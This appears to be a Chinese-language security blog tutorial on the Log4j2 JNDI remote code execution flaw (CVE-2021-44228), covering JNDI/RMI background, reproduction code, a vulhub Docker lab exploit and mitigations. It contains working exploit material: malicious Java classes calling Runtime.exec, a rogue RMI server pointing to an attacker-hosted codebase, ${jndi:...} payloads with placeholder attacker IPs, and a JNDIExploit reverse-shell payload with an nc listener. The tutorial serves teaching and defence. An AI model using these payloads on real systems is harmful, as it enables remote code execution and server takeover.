thumbnail
Apache Log4j2 远程代码执行漏洞全解析

Apache Log4j2 远程代码执行漏洞全解析

一、漏洞概述

1. 漏洞原理

Apache Log4j2 是 Java 生态中广泛使用的日志框架,其Lookup功能存在致命缺陷:未限制 JNDI(Java 命名和目录接口)查询。攻击者可在日志消息中插入恶意 JNDI 表达式(如${jndi:rmi://恶意服务器/恶意类}),触发 Log4j2 加载远程恶意.class文件,最终实现远程代码执行。

2. 影响范围

  • 覆盖超 6 万个开源软件及 32 万个相关版本包,几乎席卷整个 Java 生态(如电商平台、分布式系统、中间件等);
  • 利用成本极低,仅需构造含恶意 Payload 的输入(如 URL 参数、表单数据)即可触发,危害极大。

二、Java 日志体系与核心概念

1. 日志框架发展历程

  • JCL(Jakarta Commons Logging):提供抽象层,动态绑定日志实现(如 log4j、JUL);
  • Slf4j(2006 年):需桥接包绑定实现,配套 Logback 作为默认实现;
  • Log4j2(2014 年):Apache 推出,不兼容旧版 log4j,借鉴 Slf4j+Logback 设计,成为主流日志工具(也是本次漏洞主角)。

2. JNDI 基础

  • 定义:JNDI(Java Naming and Directory Interface)是一组接口,用于查找远程或本地对象,提供命名服务(对象与名称绑定)和目录服务(管理对象属性)。
  • 支持服务:可访问 JDBC、LDAP、RMI、DNS 等,漏洞利用中主要涉及RMI(远程方法调用)和LDAP(轻型目录访问协议)。

3. RMI 基础

  • 定义:RMI(远程方法调用)允许不同 Java 虚拟机之间远程调用方法,通过序列化传输对象。
  • 核心组件
    • Client(客户端):请求远程方法;
    • Registry(注册中心):存储远程对象的注册和查找服务(默认端口 1099);
    • Server(服务端):提供远程方法,在 Registry 中注册对象。
  • URL 格式rmi://host:port/name(host 为注册中心主机,name 为远程对象标识符)。

三、JNDI 注入攻击原理

1. 核心机制

当 JNDI 的lookup()方法参数可控时,攻击者可传入恶意 URL,诱导目标加载远程恶意类。通过Reference类解决 “目标缺少恶意类” 的问题,使目标从指定地址下载并执行恶意代码。

2. 攻击流程

  1. 目标程序调用lookup(String)且参数可控,攻击者传入指向恶意 RMI/LDAP 服务器的 URL;
  2. 恶意服务器返回含Reference对象的 JNDI 引用(包含恶意类的加载地址);
  3. 目标解析Reference,获取恶意类的 HTTP 地址;
  4. 目标远程加载恶意类的.class字节码并实例化,执行代码(如反弹 shell、文件操作)。

3. RMI-JNDI 注入示例

步骤 1:编写恶意类

1
2
3
4
5
6
7
8
<code class="language-java">import java.io.IOException;
public class Test {
public Test() throws IOException {
// 实例化时执行命令(创建文件夹)
Runtime.getRuntime().exec(&quot;mkdir jndi_inject&quot;);
}
}
</code>

步骤 2:编译并部署

  • 编译:javac Test.java生成Test.class
  • 启动 HTTP 服务:python3 -m http.server 8080(将Test.class放在当前目录)。

步骤 3:搭建恶意 RMI 服务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<code class="language-java">import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
public static void main(String[] args) throws Exception {
// 启动RMI注册中心(端口1099)
Registry registry = LocateRegistry.createRegistry(1099);
// 绑定恶意类引用(指向HTTP服务中的Test.class)
Reference ref = new Reference(&quot;Test&quot;, &quot;Test&quot;, &quot;http://攻击者IP:8080/&quot;);
registry.bind(&quot;test&quot;, new ReferenceWrapper(ref));
}
}
</code>

步骤 4:触发注入

目标程序调用lookup时传入恶意 RMI 地址,即可加载并执行Test.class
1
2
3
4
5
6
7
<code class="language-java">import javax.naming.InitialContext;
public class Target {
public static void main(String[] args) throws Exception {
// 触发JNDI查询(参数可控时被攻击)
new InitialContext().lookup(&quot;rmi://攻击者IP:1099/test&quot;);
}
}</code>

四、Log4j2 漏洞攻击链详解

  1. 输入注入:攻击者发送含恶意 JNDI 表达式的请求(如${jndi:rmi://攻击者IP:1099/test}),被目标 Java 应用接收并记录到日志;
  2. 日志解析:Log4j2 检测到日志中的${}格式,触发Lookup机制解析内容;
  3. JNDI 调用:解析到jndi:协议后,调用JndiLookup.lookup()方法,进一步触发InitialContext.lookup()
  4. 远程加载:目标连接恶意 RMI/LDAP 服务器,获取恶意类引用;
  5. 代码执行:目标加载并实例化恶意类,执行内置命令(如反弹 shell)。

五、漏洞复现(以 2.14.0 版本为例)

1. 环境准备

  • JDK:8u121(低版本对 JNDI 限制较弱);
  • 依赖:引入 Log4j2 2.14.0 版本(漏洞版本):
    1
    2
    3
    4
    5
    6
    <code class="language-xml">&lt;dependency&gt;
    &lt;groupId&gt;org.apache.logging.log4j&lt;/groupId&gt;
    &lt;artifactId&gt;log4j-core&lt;/artifactId&gt;
    &lt;version&gt;2.14.0&lt;/version&gt;
    &lt;/dependency&gt;
    </code>

2. 漏洞利用步骤

步骤 1:编写恶意类(弹出计算器)

1
2
3
4
5
6
7
<code class="language-java">import java.io.IOException;
public class Exploit {
public Exploit() throws IOException {
Runtime.getRuntime().exec(&quot;calc&quot;); // Windows弹出计算器
}
}
</code>

步骤 2:启动恶意服务

  • 编译Exploit.java并通过 HTTP 服务暴露(python -m http.server 8080);
  • 启动 RMI 服务绑定恶意类:
    1
    2
    3
    4
    <code class="language-java">Registry registry = LocateRegistry.createRegistry(1099);
    Reference ref = new Reference(&quot;Exploit&quot;, &quot;Exploit&quot;, &quot;http://攻击者IP:8080/&quot;);
    registry.bind(&quot;exp&quot;, new ReferenceWrapper(ref));
    </code>

步骤 3:触发日志解析

目标程序记录含恶意表达式的日志,触发漏洞:
1
2
3
4
5
6
7
8
9
10
11
12
<code class="language-java">import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class LogTest {
private static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
// 恶意输入(模拟攻击者传入的参数)
String input = &quot;${jndi:rmi://攻击者IP:1099/exp}&quot;;
logger.info(&quot;用户输入: {}&quot;, input); // 日志记录时触发解析
}
}
</code>

步骤 4:结果验证

目标服务器弹出计算器,证明远程代码执行成功。

六、实战利用(Docker 靶场)

  1. 启动环境
    1
    2
    3
    <code class="language-bash">cd vulhub-master/log4j/CVE-2021-44228
    docker-compose up -d
    </code>
  2. 漏洞验证
    访问http://靶机IP:8983/solr/admin/cores?action=${jndi:ldap://dnslog地址},查看 DNSLog 平台是否有解析记录(确认目标触发 JNDI 查询)。
  3. 反弹 shell
    • 启动 JNDI 工具:java -jar JNDIExploit.jar -i 攻击者IP
    • 构造 Payload:http://靶机IP:8983/solr/admin/cores?action=${jndi:ldap://攻击者IP:1389/Basic/ReverseShell/攻击者IP/端口}
    • 攻击机监听端口:nc -lvvp 端口,接收靶机反弹的 shell。

七、漏洞识别方法

  1. 表达式测试:向目标输入${java:os}(如 URL 参数),若日志中输出操作系统信息,说明Lookup功能已触发;
  2. DNSLog 检测:发送${jndi:ldap://xxxx.dnslog.cn},若 DNSLog 有解析记录,表明目标存在 JNDI 查询行为;
  3. 版本核查:若目标使用 Log4j2 ≤2.14.1 版本,存在漏洞风险。

八、防御建议

  1. 版本升级:升级至 Log4j2 2.15.0+(2.15.0 禁用 JNDI 动态加载,2.16.0 移除 JNDI 功能);
  2. 临时配置:设置系统属性log4j2.formatMsgNoLookups=true,禁用Lookup功能;
  3. JDK 限制:使用 JDK 8u121+,设置com.sun.jndi.rmi.object.trustURLCodebase=false禁止远程类加载;
  4. 输入过滤:通过 WAF 拦截含${jndi:rmi://ldap://等特征的请求;
  5. 安全审计:监控日志中的异常 JNDI 调用,及时发现攻击。
本文内容仅供学习交流使用,旨在普及网络安全知识、提升安全防护意识。文中涉及的技术解析与案例分析,均以合法合规的网络安全研究为前提,严禁用于任何未经授权的攻击、破坏或侵犯他人权益的行为。 网络空间不是法外之地,使用者需严格遵守《中华人民共和国网络安全法》《数据安全法》等相关法律法规,对自身行为承担全部法律责任。维护网络安全是每个公民的责任,让我们共同抵制网络违法活动,共建安全、健康的网络环境。
上一篇
下一篇